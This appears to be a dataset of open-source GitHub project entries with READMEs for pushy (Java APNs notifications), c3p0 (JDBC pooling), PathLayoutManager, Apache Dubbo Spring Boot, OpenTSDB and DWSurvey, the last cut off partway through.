# pushy ![Build/test](https://github.com/jchambers/pushy/actions/workflows/test.yml/badge.svg) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/com.eatthepath/pushy/badge.svg)](https://maven-badges.herokuapp.com/maven-central/com.eatthepath/pushy) Pushy is a Java library for sending [APNs](https://developer.apple.com/documentation/usernotifications) (iOS, macOS, and Safari) push notifications. Pushy sends push notifications using Apple's HTTP/2-based APNs protocol and supports both TLS and token-based authentication. It distinguishes itself from other push notification libraries with a focus on [thorough documentation](https://pushy-apns.org/apidocs/latest/), asynchronous operation, and design for industrial-scale operation. With Pushy, it's easy and efficient to maintain multiple parallel connections to the APNs gateway to send large numbers of notifications to many different applications ("topics"). We believe that Pushy is already the best tool for sending APNs push notifications from Java applications, and we hope you'll help us make it even better via bug reports and pull requests. If you need a simple GUI application for sending push notifications for development or testing purposes, you might also be interested in Pushy's sister project, [Pushy Console](https://github.com/jchambers/pushy-console). ## Quick links - [API documentation](https://pushy-apns.org/apidocs/latest/) - [Discussions](https://github.com/jchambers/pushy/discussions) (for general support and questions) - [Issues](https://github.com/jchambers/pushy/issues) (for bug reports and feature requests) ## Getting Pushy If you use [Maven](http://maven.apache.org/), you can add Pushy to your project by adding the following dependency declaration to your POM: ```xml <dependency> <groupId>com.eatthepath</groupId> <artifactId>pushy</artifactId> <version>0.15.4</version> </dependency> ``` If you don't use Maven (or something else that understands Maven dependencies, like Gradle), you can [download Pushy as a `.jar` file](https://github.com/jchambers/pushy/releases/download/pushy-0.15.4/pushy-0.15.4.jar) and add it to your project directly. You'll also need to make sure you have Pushy's runtime dependencies on your classpath. They are: - [netty 4.1.104](http://netty.io/) - [slf4j 1.7](http://www.slf4j.org/) (and possibly an SLF4J binding, as described in the [logging](#logging) section below) - [fast-uuid 0.1](https://github.com/jchambers/fast-uuid) Pushy itself requires Java 8 or newer to build and run. While not required, users may choose to use [netty-native](http://netty.io/wiki/forked-tomcat-native.html) as an SSL provider for enhanced performance. To use a native provider, make sure netty-tcnative is on your classpath. Maven users may add a dependency to their project as follows: ```xml <dependency> <groupId>io.netty</groupId> <artifactId>netty-tcnative-boringssl-static</artifactId> <version>2.0.62.Final</version> <scope>runtime</scope> </dependency> ``` ## Authenticating with the APNs server Before you can get started with Pushy, you'll need to do some provisioning work with Apple to register your app and get the required certificates or signing keys (more on these shortly). For details on this process, please see the [Registering Your App with APNs](https://developer.apple.com/documentation/usernotifications/registering_your_app_with_apns) section of Apple's UserNotifications documentation. Please note that there are [some caveats](https://github.com/jchambers/pushy/wiki/Certificates), particularly under macOS 10.13 (El Capitan). Generally speaking, APNs clients must authenticate with the APNs server by some means before they can send push notifications. Currently, APNs (and Pushy) supports two authentication methods: TLS-based authentication and token-based authentication. The two approaches are mutually-exclusive; you'll need to pick one or the other for each client. ### TLS authentication In TLS-based authentication, clients present a TLS certificate to the server when connecting, and may send notifications to any "topic" named in the certificate. Generally, this means that a single client can only send push notifications to a single receiving app. Once you've registered your app and have the requisite certificates, the first thing you'll need to do to start sending push notifications with Pushy is to create an [`ApnsClient`](https://pushy-apns.org/apidocs/0.15/com/eatthepath/pushy/apns/ApnsClient.html). Clients using TLS authentication need a certificate and private key to authenticate with the APNs server. The most common way to store the certificate and key is in a password-protected PKCS#12 file (you'll wind up with a password-protected .p12 file if you follow Apple's instructions at the time of this writing). To create a client that will use TLS-based authentication: ```java final ApnsClient apnsClient = new ApnsClientBuilder() .setApnsServer(ApnsClientBuilder.DEVELOPMENT_APNS_HOST) .setClientCredentials(new File("/path/to/certificate.p12"), "p12-file-password") .build(); ``` ### Token authentication In token-based authentication, clients still connect to the server using a TLS-secured connection, but do *not* present a certificate to the server when connecting. Instead, clients include a cryptographically-signed token with each notification they send (don't worry—Pushy handles this for you automatically). Clients may send push notifications to any "topic" for which they have a valid signing key. To get started with a token-based client, you'll need to get a signing key (also called a private key in some contexts) from Apple. Once you have your signing key, you can create a new client: ```java final ApnsClient apnsClient = new ApnsClientBuilder() .setApnsServer(ApnsClientBuilder.DEVELOPMENT_APNS_HOST) .setSigningKey(ApnsSigningKey.loadFromPkcs8File(new File("/path/to/key.p8"), "TEAMID1234", "KEYID67890")) .build(); ``` ## Sending push notifications Pushy's APNs clients maintain an internal pool of connections to the APNs server and create new connections on demand. As a result, clients do not need to be started explicitly. Regardless of the authentication method you choose, once you've created a client, it's ready to start sending push notifications. At minimum, [push notifications](https://pushy-apns.org/apidocs/0.15/com/eatthepath/pushy/apns/ApnsPushNotification.html) need a device token (which identifies the notification's destination device and is a distinct idea from an authentication token), a topic, and a payload. ```java final SimpleApnsPushNotification pushNotification; { final ApnsPayloadBuilder payloadBuilder = new SimpleApnsPayloadBuilder(); payloadBuilder.setAlertBody("Example!"); final String payload = payloadBuilder.build(); final String token = TokenUtil.sanitizeTokenString("<efc7492 bdbd8209>"); pushNotification = new SimpleApnsPushNotification(token, "com.example.myApp", payload); } ``` Pushy includes a [`SimpleApnsPayloadBuilder`](https://pushy-apns.org/apidocs/0.15/com/eatthepath/pushy/apns/util/SimpleApnsPayloadBuilder.html), and payload builders based on [Gson](https://github.com/jchambers/pushy/tree/master/gson-payload-builder) and [Jackson](https://github.com/jchambers/pushy/tree/master/jackson-payload-builder) are available as separate modules. [APNs payloads are just JSON strings](https://developer.apple.com/documentation/usernotifications/setting_up_a_remote_notification_server/generating_a_remote_notification), and callers may produce payloads by the method of their choice; while Pushy's payload builders may be convenient, callers are _not_ obligated to use them. The process of sending a push notification is asynchronous; although the process of sending a notification and getting a reply from the server may take some time, the client will return a [`CompletableFuture`](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CompletableFuture.html) right away. You can use that `CompletableFuture` to track the progress and eventual outcome of the sending operation. Note that sending a notification returns a [`PushNotificationFuture`](https://pushy-apns.org/apidocs/0.15/com/eatthepath/pushy/apns/util/concurrent/PushNotificationFuture.html), which is a subclass of `CompletableFuture` that always holds a reference to the notification that was sent. ```java final PushNotificationFuture<SimpleApnsPushNotification, PushNotificationResponse<SimpleApnsPushNotification>> sendNotificationFuture = apnsClient.sendNotification(pushNotification); ``` The `CompletableFuture` will complete in one of three circumstances: 1. The gateway accepts the notification and will attempt to deliver it to the destination device. 2. The gateway rejects the notification; this should be considered a permanent failure, and the notification should not be sent again. Additionally, the APNs gateway may indicate a timestamp at which the destination token became invalid. If that happens, you should stop trying to send *any* notification to that token unless the token has been re-registered since that timestamp. 3. The `CompletableFuture` fails with an exception. This should generally be considered a temporary failure, and callers should try to send the notification again when the problem has been resolved. An example: ```java try { final PushNotificationResponse<SimpleApnsPushNotification> pushNotificationResponse = sendNotificationFuture.get(); if (pushNotificationResponse.isAccepted()) { System.out.println("Push notification accepted by APNs gateway."); } else { System.out.println("Notification rejected by the APNs gateway: " + pushNotificationResponse.getRejectionReason()); pushNotificationResponse.getTokenInvalidationTimestamp().ifPresent(timestamp -> { System.out.println("\t…and the token is invalid as of " + timestamp); }); } } catch (final ExecutionException e) { System.err.println("Failed to send push notification."); e.printStackTrace(); } ``` It's important to note that `CompletableFuture` has affordances for scheduling additional tasks to run when an operation is complete. Waiting for each individual push notification is inefficient in practice, and most users will be better served by adding follow-up tasks to the `CompletableFuture` instead of blocking until it completes. As an example: ```java sendNotificationFuture.whenComplete((response, cause) -> { if (response != null) { // Handle the push notification response as before from here. } else { // Something went wrong when trying to send the notification to the // APNs server. Note that this is distinct from a rejection from // the server, and indicates that something went wrong when actually // sending the notification or waiting for a reply. cause.printStackTrace(); } }); ``` All APNs clients—even those that have never sent a message—may allocate and hold on to system resources, and it's important to release them. APNs clients are intended to be persistent, long-lived resources; you definitely don't need to shut down a client after sending a notification (or even batch of notifications), but you'll want to shut down your client (or clients) when your application is shutting down: ```java final CompletableFuture<Void> closeFuture = apnsClient.close(); ``` When shutting down, clients will wait for all sent-but-not-acknowledged notifications to receive a reply from the server. Notifications that have been passed to `sendNotification` but not yet sent to the server (i.e. notifications waiting in an internal queue) will fail immediately when disconnecting. Callers should generally make sure that all sent notifications have been acknowledged by the server before shutting down. ## Performance and best practices Making the most of your system resources for high-throughput applications always takes some effort. To guide you through the process, we've put together a wiki page covering some [best practices for using Pushy](https://github.com/jchambers/pushy/wiki/Best-practices). All of these points are covered in much more detail on the wiki, but in general, our recommendations are: - Treat `ApnsClient` instances as long-lived resources - Add follow-up tasks to `CompletableFutures` if you want to track the status of your push notifications - Use a flow control strategy to avoid enqueueing push notifications faster than the server can respond - Choose a number of threads and concurrent connections that balances CPU time and network throughput ## Metrics Pushy includes an interface for monitoring metrics that provide insight into clients' behavior and performance. You can write your own implementation of the `ApnsClientMetricsListener` interface to record and report metrics. We also provide metrics listeners that gather and report metrics [using the Dropwizard Metrics library](https://github.com/jchambers/pushy/tree/master/dropwizard-metrics-listener) and [using the Micrometer application monitoring facade](https://github.com/jchambers/pushy/tree/master/micrometer-metrics-listener) as separate modules. To begin receiving metrics, set a listener when building a new client: ```java final ApnsClient apnsClient = new ApnsClientBuilder() .setApnsServer(ApnsClientBuilder.DEVELOPMENT_APNS_HOST) .setSigningKey(ApnsSigningKey.loadFromPkcs8File(new File("/path/to/key.p8"), "TEAMID1234", "KEYID67890")) .setMetricsListener(new MyCustomMetricsListener()) .build(); ``` Please note that the metric-handling methods in your listener implementation should *never* call blocking code. It's appropriate to increment counters directly in the handler methods, but calls to databases or remote monitoring endpoints should be dispatched to separate threads. ## Using a proxy If you need to use a proxy for outbound connections, you may specify a [`ProxyHandlerFactory`](https://pushy-apns.org/apidocs/0.15/com/eatthepath/pushy/apns/proxy/ProxyHandlerFactory.html) when building your `ApnsClient` instance. Concrete implementations of `ProxyHandlerFactory` are provided for HTTP, SOCKS4, and SOCKS5 proxies. An example: ```java final ApnsClient apnsClient = new ApnsClientBuilder() .setApnsServer(ApnsClientBuilder.DEVELOPMENT_APNS_HOST) .setSigningKey(ApnsSigningKey.loadFromPkcs8File(new File("/path/to/key.p8"), "TEAMID1234", "KEYID67890")) .setProxyHandlerFactory(new Socks5ProxyHandlerFactory( new InetSocketAddress("my.proxy.com", 1080), "username", "password")) .build(); ``` If using HTTP proxies configured via [JVM system properties](https://docs.oracle.com/javase/7/docs/api/java/net/doc-files/net-properties.html#Proxies), you can also use: ```java final ApnsClient apnsClient = new ApnsClientBuilder() .setApnsServer(ApnsClientBuilder.DEVELOPMENT_APNS_HOST) .setSigningKey(ApnsSigningKey.loadFromPkcs8File(new File("/path/to/key.p8"), "TEAMID1234", "KEYID67890")) .setProxyHandlerFactory(HttpProxyHandlerFactory.fromSystemProxies( ApnsClientBuilder.DEVELOPMENT_APNS_HOST)) .build(); ``` ## Logging Pushy uses [SLF4J](http://www.slf4j.org/) for logging. If you're not already familiar with it, SLF4J is a facade that allows users to choose which logging library to use at deploy time by adding a specific "binding" to the classpath. To avoid making the choice for you, Pushy itself does *not* depend on any SLF4J bindings; you'll need to add one on your own (either by adding it as a dependency in your own project or by installing it directly). If you have no SLF4J bindings on your classpath, you'll probably see a warning that looks something like this: ``` SLF4J: Failed to load class "org.slf4j.impl.StaticLoggerBinder". SLF4J: Defaulting to no-operation (NOP) logger implementation SLF4J: See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details. ``` For more information, see the [SLF4J user manual](http://www.slf4j.org/manual.html). Pushy uses logging levels as follows: | Level | Events logged | |-----------|---------------------------------------------------------------------------------------| | `error` | Serious, unrecoverable errors; recoverable errors that likely indicate a bug in Pushy | | `warn` | Serious, but recoverable errors; errors that may indicate a bug in caller's code | | `info` | Important lifecycle events | | `debug` | Minor lifecycle events; expected exceptions | | `trace` | Individual IO operations | ## Using a mock server Pushy includes a mock APNs server that callers may use in integration tests and benchmarks. It is not necessary to use a mock server (or any related classes) in normal operation. To build a mock server, callers should use a [`MockApnsServerBuilder`](https://pushy-apns.org/apidocs/0.15/com/eatthepath/pushy/apns/server/MockApnsServerBuilder.html). All servers require a [`PushNotificationHandler`](https://pushy-apns.org/apidocs/0.15/com/eatthepath/pushy/apns/server/PushNotificationHandler.html) (built by a [`PushNotificationHandlerFactory`](https://pushy-apns.org/apidocs/0.15/com/eatthepath/pushy/apns/server/PushNotificationHandlerFactory.html) provided to the builder) that decides whether the mock server will accept or reject each incoming push notification. Pushy includes an `AcceptAllPushNotificationHandlerFactory` that is helpful for benchmarking and a `ValidatingPushNotificationHandlerFactory` that may be helpful for integration testing. Callers may also provide a [`MockApnsServerListener`](https://pushy-apns.org/apidocs/0.15/com/eatthepath/pushy/apns/server/MockApnsServerListener.html) when building a mock server; listeners are notified whenever the mock server accepts or rejects a notification from a client. ## License and status Pushy is available under the [MIT License](https://github.com/jchambers/pushy/blob/master/LICENSE.md). The current version of Pushy is 0.15.4. It's fully functional and widely used in production environments, but the public API may change significantly before a 1.0 release.
0
swaldman/c3p0
a mature, highly concurrent JDBC Connection pooling library, with support for caching and reuse of PreparedStatements.
connection-management connection-pool connection-pooling java jdbc
# c3p0 c3p0 is a mature, highly concurrent JDBC Connection pooling library, with support for caching and reuse of `PreparedStatement` objects. c3p0 is available as managed dependency on Maven Central, <code>[groupId: com.mchange, artifactId: c3p0]</code> For available versions, look [here](https://oss.sonatype.org/content/repositories/releases/com/mchange/c3p0/). Please see the [documentation](http://www.mchange.com/projects/c3p0/) for more. From the current *development snapshot*, here is the latest [CHANGELOG](CHANGELOG). Please address comments and questions to the [library author](mailto:swaldman@mchange.com). However, please keep in mind he is an abysmal correspondent and basically an asshole. Despite that, your feedback is very much appreciated. Pull requests are gratefully accepted. You may also open issues. Thank you for your interest in c3p0. I do hope that you find it useful! ### Building c3p0 For now (v0.10.0), c3p0 is built under a Java 11 VM, targetting JDK 7 classfiles for continued compatibility with legacy apps. _In order to remind me to switch to Java 11, the build will fail with an Exception if it detects an unexpected version._ You can comment this requirement out of `build.sc` if you like. It's the line that looks like ```scala require( sys.props("java.runtime.version").startsWith("11"), s"Bad build JVM: ${sys.props("java.runtime.version")} -- We currently expect to build under Java 11. (We generate Java $JvmCompatVersion compatible source files.)" ) ``` c3p0 relies on the excellent build tool [`mill`](https://mill-build.com/). Install `mill`. Then, within this repository direcory, run ```plaintext $ mill jar ``` You'll find the raw as library `out/jar.dest/out.jar`. If you maintain a local ivy repository, You can customize `publishVersion` in [`build.sc`](build.sc), then run ```plaintext $ mill publishLocal ``` To build the documentation ```plaintext $ mill doc.docroot ``` You can then open in your browser `out/doc/docroot.dest/index.html` ### Testing c3p0 By default the tests expect to find a database at `jdbc:postgresql://localhost:5432/c3p0`. As you can see, I usually test against a local postgres database. You can change this in the `forkArgs` function of [`build.sc`](build.sc). c3p0's testing is, um, embarrassingly informal. There is a junit test suite, but it covers a very small fraction of c3p0 functionality. To run that, it's just ```plaintext $ mill test.test ``` Mostly c3p0 is tested by running a few test applications, and varying config _ad hoc_ to see how things work. _If you think c3p0 could/should be tested more professionally and automatically, me too! I'd love a pull request._ [`build.sc`](build.sc) contains a lot of test applications, but the most important are ```plaintext $ mill test.c3p0Benchmark ``` This is c3p0 most basic, common, test-of-first-resort. It runs through and times a bunch of different c3p0 operations, and puts the library through pretty good exercise ```plaintext $ mill test.c3p0Load ``` This one puts c3p0 under load of a 100 thread performing 1000 database operations each, then terminates. ```plaintext $ mill test.c3p0PSLoad ``` This one puts c3p0 under load of a 100 thread performing database operations indefinitely. It uses `PreparedStatement` for its database operations, so is a good way of exercising the statement cache. #### Test configuration You can observe (most of) the config of your c3p0 `DataSource` when you test, because c3p0 logs it at `INFO` upon the first `Connection` checkout attempt. When testing, verify that you are working with the configuration you expect! Tests are configured by command-line arguments and by a `c3p0.properties` file. To play with different configurations, edit [`test/resources-local/c3p0.properties`](test/resources-local/c3p0.properties). Also check the `forkArgs()` method in [`build.sc`](build.sc) Sometimes you want to put the library through its paces with pathological configuration. A baseline pathological configuration is defined in [`test/resources-local-rough/c3p0.properties`](test/resources-local-rough/c3p0.properties). To give this effect, temporarily edit [`build.sc`](build.sc): ```scala override def runClasspath : T[Seq[PathRef]] = T{ super.runClasspath() ++ localResources() // super.runClasspath() ++ localResourcesRough() } ``` * Comment out `super.runClasspath() ++ localResources()` * Uncomment in `super.runClasspath() ++ localResourcesRough()` Then of course you can edit [`test/resources-local-rough/c3p0.properties`](test/resources-local-rough/c3p0.properties). #### Test logging Often you will want to focus logging on a class or feature you are testing. By default, c3p0 tests are configured to use `java.util.logging.`, and be configured by the file [`test/conf-logging/logging.properties`](test/conf-logging/logging.properties). Of course you can change the config (in `c3p0.properties`) to use another logging library if you'd like, but you may need to modify the build to bring third-party logging libraries in, and configure those libraries in their own ways. ### Building c3p0-loom Because c3p0 currently builds under Java 11, but c3p0-loom requires Java 21, c3p0 loom is a [separate project](https://github.com/swaldman/c3p0-loom). It is just a parallel mill project. The instructions above apply (except `c3p0-loom` does not have independent documentation to build). ### License c3p0 is licensed under [LGPL v.2.1](LICENSE-LGPL) or [EPL v.1.0](LICENSE-EPL), at your option. You may also opt to license c3p0 under any version of LGPL higher than v.2.1. --- **Note:** c3p0 has had a good experience with reporting of a security vulnerability via Sonatype's _Central Security Project_. If you find a c3p0 security issue, do consider reporting it via https://hackerone.com/central-security-project
0
wuyr/PathLayoutManager
RecyclerView的LayoutManager,轻松实现各种炫酷、特殊效果,再也不怕产品经理为难!
null
## RecyclerView的LayoutManager,轻松实现各种炫酷、特殊效果,再也不怕产品经理为难! ### 博客详情: https://blog.csdn.net/u011387817/article/details/81875021 ### 使用方式: #### 添加依赖: ``` implementation 'com.wuyr:pathlayoutmanager:1.0.3' ``` ### APIs: |Method|Description| |------|-----------| |updatePath(Path path)|更新Path| |setItemOffset(int itemOffset)|设置Item间距 (单位: px)| |setOrientation(int orientation)|设置滑动方向:<br>**RecyclerView.HORIZONTAL** (水平滑动)<br>**RecyclerView.VERTICAL** (垂直滑动)| |setScrollMode(int mode)|设置滚动模式:<br>**SCROLL_MODE_NORMAL** (普通模式)<br>**SCROLL_MODE_OVERFLOW** (允许溢出)<br>**SCROLL_MODE_LOOP** (无限循环)<br>| |setItemDirectionFixed(boolean isFixed)|设置Item是否保持垂直| |setAutoSelect(boolean isAutoSelect)|设置是否开启自动选中效果| |setAutoSelectFraction(float position)|设置自动选中的目标落点 (0~1)| |setFlingEnable(boolean enable)|设置惯性滚动是否开启| |setCacheCount(int count)|设置Item缓存个数| |setItemScaleRatio(float... ratios)|设置平滑缩放比例<br>**ratios**: 缩放比例, 数组长度必须是双数,<br>**偶数索引**表示要**缩放的比例**<br>**奇数索引**表示在**路径上的位置** (0~1)<br>奇数索引必须要递增,即越往后的数值应越大<br>例如:<br> **setItemScaleRatio(0.8, 0.5)** <br>表示在路径的50%处把Item缩放到原来的80%<br>**setItemScaleRatio(0, 0, 1, 0.5, 0, 1)** <br>表示在起点处的Item比例是原来的0%,在路径的50%处会恢复原样<br>到路径终点处会缩小到0%| |scrollToPosition(int position)|将目标Item滚动到自动选中的落点(setAutoSelectFraction)<br>例如 setAutoSelectFraction(0) 则滚动到Path的起点处<br>若为1,则滚动到路径终点处,0.6则路径的60%处 (默认: 0.5)| |smoothScrollToPosition(int position)|同上,此方法为平滑滚动,即选中时会播放动画 <br>动画时长通过 setFixingAnimationDuration 方法来设置| |setFixingAnimationDuration(long duration)|设置自动选中后的选中动画时长| |setOnItemSelectedListener(Listener listener)|设置Item被选中后的监听器 (需开启自动选中才生效)| ### 使用示例: ```java mPathLayoutManager = new PathLayoutManager(path, itemOffset); mRecyclerView.setLayoutManager(mPathLayoutManager); ``` ### Demo下载: [app-debug.apk](https://github.com/wuyr/PathLayoutManager/raw/master/app-debug.apk) ### 库源码地址: https://github.com/Ifxcyr/PathLayoutManager ### 效果: ![preview](https://github.com/wuyr/PathLayoutManager/raw/master/previews/preview.gif) ![preview](https://github.com/wuyr/PathLayoutManager/raw/master/previews/preview2.gif) ![preview](https://github.com/wuyr/PathLayoutManager/raw/master/previews/preview3.gif) ![preview](https://github.com/wuyr/PathLayoutManager/raw/master/previews/preview4.gif) ![preview](https://github.com/wuyr/PathLayoutManager/raw/master/previews/preview7.gif) ![preview](https://github.com/wuyr/PathLayoutManager/raw/master/previews/preview8.gif) ![preview](https://github.com/wuyr/PathLayoutManager/raw/master/previews/preview5.gif) ![preview](https://github.com/wuyr/PathLayoutManager/raw/master/previews/preview6.gif)
0
apache/dubbo-spring-boot-project
Spring Boot Project for Apache Dubbo
dubbo
# Apache Dubbo Spring Boot Project ## This repo has been archived. All of the implements have been moved to [apache/dubbo](https://github.com/apache/dubbo). [![Build Status](https://travis-ci.org/apache/dubbo-spring-boot-project.svg?branch=master)](https://travis-ci.org/apache/dubbo-spring-boot-project) [![codecov](https://codecov.io/gh/apache/dubbo-spring-boot-project/branch/master/graph/badge.svg)](https://codecov.io/gh/apache/dubbo-spring-boot-project) ![license](https://img.shields.io/github/license/apache/dubbo-spring-boot-project.svg) [Apache Dubbo](https://github.com/apache/dubbo) Spring Boot Project makes it easy to create [Spring Boot](https://github.com/spring-projects/spring-boot/) application using Dubbo as RPC Framework. What's more, it also provides: * [auto-configure features](dubbo-spring-boot-autoconfigure) (e.g., annotation-driven, auto configuration, externalized configuration). * [production-ready features](dubbo-spring-boot-actuator) (e.g., security, health checks, externalized configuration). > Apache Dubbo |ˈdʌbəʊ| is a high-performance, light weight, java based RPC framework. Dubbo offers three key functionalities, which include interface based remote call, fault tolerance & load balancing, and automatic service registration & discovery. ## [中文说明](README_CN.md) ## Released version You can introduce the latest `dubbo-spring-boot-starter` to your project by adding the following dependency to your pom.xml ```xml <properties> <spring-boot.version>2.3.0.RELEASE</spring-boot.version> <dubbo.version>2.7.8</dubbo.version> </properties> <dependencyManagement> <dependencies> <!-- Spring Boot --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-dependencies</artifactId> <version>${spring-boot.version}</version> <type>pom</type> <scope>import</scope> </dependency> <!-- Apache Dubbo --> <dependency> <groupId>org.apache.dubbo</groupId> <artifactId>dubbo-dependencies-bom</artifactId> <version>${dubbo.version}</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement> <dependencies> <!-- Dubbo Spring Boot Starter --> <dependency> <groupId>org.apache.dubbo</groupId> <artifactId>dubbo-spring-boot-starter</artifactId> <version>2.7.8</version> </dependency> </dependencies> ``` If your project failed to resolve the dependency, try to add the following repository: ```xml <repositories> <repository> <id>apache.snapshots.https</id> <name>Apache Development Snapshot Repository</name> <url>https://repository.apache.org/content/repositories/snapshots</url> <releases> <enabled>false</enabled> </releases> <snapshots> <enabled>true</enabled> </snapshots> </repository> </repositories> ``` ### Legacy Versions If you still use the legacy Dubbo whose version is less than 2.7.0, please use the following Spring Boot starters: | Dubbo Spring Boot | Dubbo | Spring Boot | | ----------------- | ------ | ----------- | | [0.2.1.RELEASE](https://github.com/apache/dubbo-spring-boot-project/tree/0.2.x) | 2.6.5+ | 2.x | | [0.1.2.RELEASE](https://github.com/apache/dubbo-spring-boot-project/tree/0.1.x) | 2.6.5+ | 1.x | ### Build from Source If you'd like to attempt to experience the latest features, you also can build from the source code as follow: 1. Maven install current project in your local repository. > Maven install = `mvn install` ## Getting Started If you don't know about Dubbo, please take a few minutes to learn http://dubbo.apache.org/. After that you could dive deep into dubbo [user guide](http://dubbo.apache.org/en-us/docs/user/quick-start.html). Usually, There are two usage scenarios for Dubbo applications, one is Dubbo service(s) provider, another is Dubbo service(s) consumer, thus let's get a quick start on them. First of all, we suppose an interface as Dubbo RPC API that a service provider exports and a service client consumes: ```java public interface DemoService { String sayHello(String name); } ``` ### Dubbo service(s) provider 1. Service Provider implements `DemoService` ```java @DubboService(version = "1.0.0") public class DefaultDemoService implements DemoService { /** * The default value of ${dubbo.application.name} is ${spring.application.name} */ @Value("${dubbo.application.name}") private String serviceName; public String sayHello(String name) { return String.format("[%s] : Hello, %s", serviceName, name); } } ``` 2. Provides a bootstrap class ```java @EnableAutoConfiguration public class DubboProviderDemo { public static void main(String[] args) { SpringApplication.run(DubboProviderDemo.class,args); } } ``` 3. Configures the `application.properties`: ```properties # Spring boot application spring.application.name=dubbo-auto-configuration-provider-demo # Base packages to scan Dubbo Component: @org.apache.dubbo.config.annotation.Service dubbo.scan.base-packages=org.apache.dubbo.spring.boot.sample.provider.service # Dubbo Application ## The default value of dubbo.application.name is ${spring.application.name} ## dubbo.application.name=${spring.application.name} # Dubbo Protocol dubbo.protocol.name=dubbo dubbo.protocol.port=12345 ## Dubbo Registry dubbo.registry.address=N/A ``` ### Dubbo service(s) consumer 1. Service consumer also provides a bootstrap class to reference `DemoService` ```java @EnableAutoConfiguration public class DubboAutoConfigurationConsumerBootstrap { private final Logger logger = LoggerFactory.getLogger(getClass()); @DubboReference(version = "1.0.0", url = "dubbo://127.0.0.1:12345") private DemoService demoService; public static void main(String[] args) { SpringApplication.run(DubboAutoConfigurationConsumerBootstrap.class).close(); } @Bean public ApplicationRunner runner() { return args -> { logger.info(demoService.sayHello("mercyblitz")); }; } } ``` 2. configures `application.yml` ```yaml spring: application: name: dubbo-auto-configure-consumer-sample ``` If `DubboProviderDemo` works well, please make sure `DubboProviderDemo` is started. More details, please refer to [Samples](dubbo-spring-boot-samples). ## Getting help Having trouble with Dubbo Spring Boot? We’d like to help! - If you are upgrading, read the [release notes](https://github.com/apache/dubbo-spring-boot-project/releases) for upgrade instructions and "new and noteworthy" features. - Ask a question - You can subscribe [Dubbo User Mailling List](mailto:dubbo+subscribe@googlegroups.com). - Report bugs at [github.com/apache/dubbo-spring-boot-project/issues](https://github.com/apache/dubbo-spring-boot-project/issues). ## Building from Source If you want to try out the latest features of Dubbo Spring Boot, it can be easily built with the [maven wrapper](https://github.com/takari/maven-wrapper). Your JDK is 1.8 or above. ``` $ ./mvnw clean install ``` ## Modules There are some modules in Apache Dubbo Spring Boot Project, let's take a look at below overview: ### [dubbo-spring-boot-parent](dubbo-spring-boot-parent) The main usage of `dubbo-spring-boot-parent` is providing dependencies management for other modules. ### [dubbo-spring-boot-autoconfigure](dubbo-spring-boot-autoconfigure) `dubbo-spring-boot-autoconfigure` uses Spring Boot's `@EnableAutoConfiguration` which helps core Dubbo's components to be auto-configured by `DubboAutoConfiguration`. It reduces code, eliminates XML configuration. ### [dubbo-spring-boot-actuator](dubbo-spring-boot-actuator) `dubbo-spring-boot-actuator` provides production-ready features (e.g., [health checks](https://github.com/apache/dubbo-spring-boot-project/tree/master/dubbo-spring-boot-actuator#health-checks), [endpoints](https://github.com/apache/dubbo-spring-boot-project/tree/master/dubbo-spring-boot-actuator#endpoints), and [externalized configuration](https://github.com/apache/dubbo-spring-boot-project/tree/master/dubbo-spring-boot-actuator#externalized-configuration)). ### [dubbo-spring-boot-starter](dubbo-spring-boot-starter) `dubbo-spring-boot-starter` is a standard Spring Boot Starter, which contains [dubbo-spring-boot-autoconfigure](dubbo-spring-boot-autoconfigure) and [dubbo-spring-boot-actuator](dubbo-spring-boot-actuator). It will be imported into your application directly. ### [dubbo-spring-boot-samples](dubbo-spring-boot-samples) The samples project of Dubbo Spring Boot that includes: - [Auto-Configuaration Samples](dubbo-spring-boot-samples/auto-configure-samples) - [Externalized Configuration Samples](dubbo-spring-boot-samples/externalized-configuration-samples) - [Registry Zookeeper Samples](https://github.com/apache/dubbo-spring-boot-project/tree/master/dubbo-spring-boot-samples/registry-samples/zookeeper-samples) - [Registry Nacos Samples](https://github.com/apache/dubbo-spring-boot-project/tree/master/dubbo-spring-boot-samples/registry-samples/nacos-samples) ## License Apache Dubbo spring boot project is under the Apache 2.0 license. See the [LICENSE](https://github.com/apache/dubbo-spring-boot-project/blob/master/LICENSE) file for details.
0
OpenTSDB/opentsdb
A scalable, distributed Time Series Database.
null
null
0
wkeyuan/DWSurvey
Survey System. 最好用的开源问卷调查系统、表单系统。
questionnaire survey survey-form survey-system
# 调问开源问卷系统(DWSurvey) 此代码仓库为基于 Spring Boot、Vue 实现的后端仓库 [![star](https://gitee.com/wkeyuan/DWSurvey/badge/star.svg?theme=dark)](https://gitee.com/wkeyuan/DWSurvey/stargazers) [![fork](https://gitee.com/wkeyuan/DWSurvey/badge/fork.svg?theme=dark)](https://gitee.com/wkeyuan/DWSurvey/members) ![GitHub Repo stars](https://img.shields.io/github/stars/wkeyuan/DWSurvey?style=social) ![GitHub forks](https://img.shields.io/github/forks/wkeyuan/DWSurvey?style=social) DWSurvey是一款简单、高效、成熟、稳定、专业的开源问卷系统,自2012年启动至今经过9年的积累,已经形成一套完善的基于 JAVA WEB 的开源问卷表单解决方案。 <div style="padding: 10px;border-left:solid 6px #278bee;background: #f3f5f7;font-size: 16px;color: #2c3e50;"> <div style="font-weight: 600;padding: 10px;"> 🎉🎉🎉 企业版 </div> <div> 全新的 <strong>企业版</strong> 已经发布,前后端分别采用 React(Ant design)、VUE(Element)、Spring Boot,详情可前往体验 <p>调问网官网地址:<a href="https://www.diaowen.net">https://www.diaowen.net</a></p> <p><strong>企业版体验地址</strong></p> <p><strong>新版本:<a href="https://element-ent.surveyform.cn">https://element-ent.surveyform.cn</a></strong>账号密码(service@diaowen.net/123456)</p> <p><strong>原版本:<a href="https://ent.surveyform.cn">https://ent.surveyform.cn</a></strong></p> </div> </div> <hr/> <div style="padding: 10px;border-left:solid 6px #278bee;background: #f3f5f7;font-size: 16px;color: #2c3e50;"> <div style="font-weight: 600;padding: 10px;"> 🎉🎉🎉 专业版 </div> <div> 新一代的 <strong>专业版</strong> 即将发布,前端采用<strong>纯VUE实现</strong>(Element)、后端使用 Spring Boot、Elasticsearch,敬请关注 <p>调问网官网地址:<a href="https://www.diaowen.net">https://www.diaowen.net</a></p> </div> </div> <hr/> <div style="padding: 10px;border-left:solid 6px #42b983;background: #f3f5f7;font-size: 16px;color: #2c3e50;"> <div style="font-weight: 600;padding: 10px;"> ☀️☀️☀️ 